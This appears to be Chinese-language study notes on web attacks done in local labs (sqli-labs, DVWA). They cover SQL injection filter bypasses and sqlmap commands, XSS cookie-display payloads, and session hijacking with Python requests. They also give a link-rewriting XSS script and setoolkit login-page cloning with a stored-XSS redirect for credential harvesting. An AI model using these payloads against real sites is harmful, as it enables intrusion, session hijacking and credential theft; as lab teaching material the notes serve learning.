1、绕过SQL注入
绕过去除注释符的SQL注入
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
Mysql中的注释符:(python中的语句规则)
- 1.单行注释: --+ 或 --空格 或 #
- 2.多行注释: /* 多行注释内容 */
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
利用注释符过滤不能成功闭合单引号,换一种思路利用 or ‘1’ = '1闭合单引号
http://127.0.0.1/sqli/Less-23/?id=1’ --+
绕过剔除and和or的SQL注入
MySQL基础知识:
- 1.MySQL中的大小写不敏感,大写与小写一样
- 2.MySQL中的十六进制与URL编码都可以解码
- 3.符号和关键字替换 and转换为&& , or 转换为 ||
sqlmap探测
python sqlmap.py -u “http://127.0.0.1/sqli/Less-25/?id=1” --dbs --batch
绕过去除空格的SQL注入
- 编码:hex,urlencode
- 空格 URL编码 %20
- TAB URL编码 %09
url编码:https://www.w3school.com.cn/tags/html_ref_urlencode.html
sqlmap探测
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
python sqlmap.py -u “http://127.0.0.1/sqli/Less-25/?id=1” --hex --dbs --batch
2、XSS跨站脚本分类
XSS漏洞介绍
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets )的缩写混淆, 故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该 页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。(前端部分)
cookie介绍
cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。cookie是由 web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息
由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。这就是Cookie的工作原理。
反射型XSS
反射型XSS又称非持久性XSS,这种攻击往往具有一次性。
攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用 户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。
输出cookie值
输入下面语句提交之后会如下图显示cookie
<script>alert(document.cookie)</script>
存储型XSS
存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。
攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
输入下面语句提交之后会如下图显示cookie
<script>alert(document.cookie)</script>
DOM型XSS
DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代 码,触发XSS漏洞。
在浏览器最后输入下面语句提交之后会如下图显示cookie
?default=%20<script>alert(document.cookie)</script>
3、 通过Python利用cookie会话劫持
在爬取某些需要登录的网站的时候,我们需要利用前面学习的cookie信息,直接进行登陆后爬取信息。
cookie = "security=low; csrftoken=EIe9fIFCRE4BXu8bqHKRX60hfih1bZAnMFMA8w2DtTygLGXcemxxiAyeAqsJPXhi; PHPSESSID=g2ii9pn9u0sck0shjvcqtfgne0"
cookie = {i.split("=")[0]:i.split("=")[1] for i in cookie.split("; ")}
html = requests.get('http://127.0.0.1/DVWA/index.php',headers=headers).text
import requests
headers = {
"Cookie": "security=low; PHPSESSID=0dku74vnkiotb4f2oecffhotc0"
}
html = requests.get("http://127.0.0.1/dvwa/", headers=headers).text
print(html)
劫持会话后的操作
- 1.获取页面数据
- 2.劫持前端逻辑
- 3.发送请求
- 4.偷取用户资料
- 5.偷取用户密码和登录状态
4、XSS窜改网页链接
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href = "http://www.baidu.com";
}
}
</script>
XSS盗取用户信息原理
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面, 用户输入登录,账号和密码被存储。
setookie工具克隆网站
在kali中输入 setoolkit
1.社会工程攻击>1
2.网站攻击>2
3.凭据收集攻击>3
4.root网站克隆>2
存储XSS跳转克隆网站
在DVWA中XSS(Stored)中执行
<script>
window.location = "http://192.168.154.130/";
</script>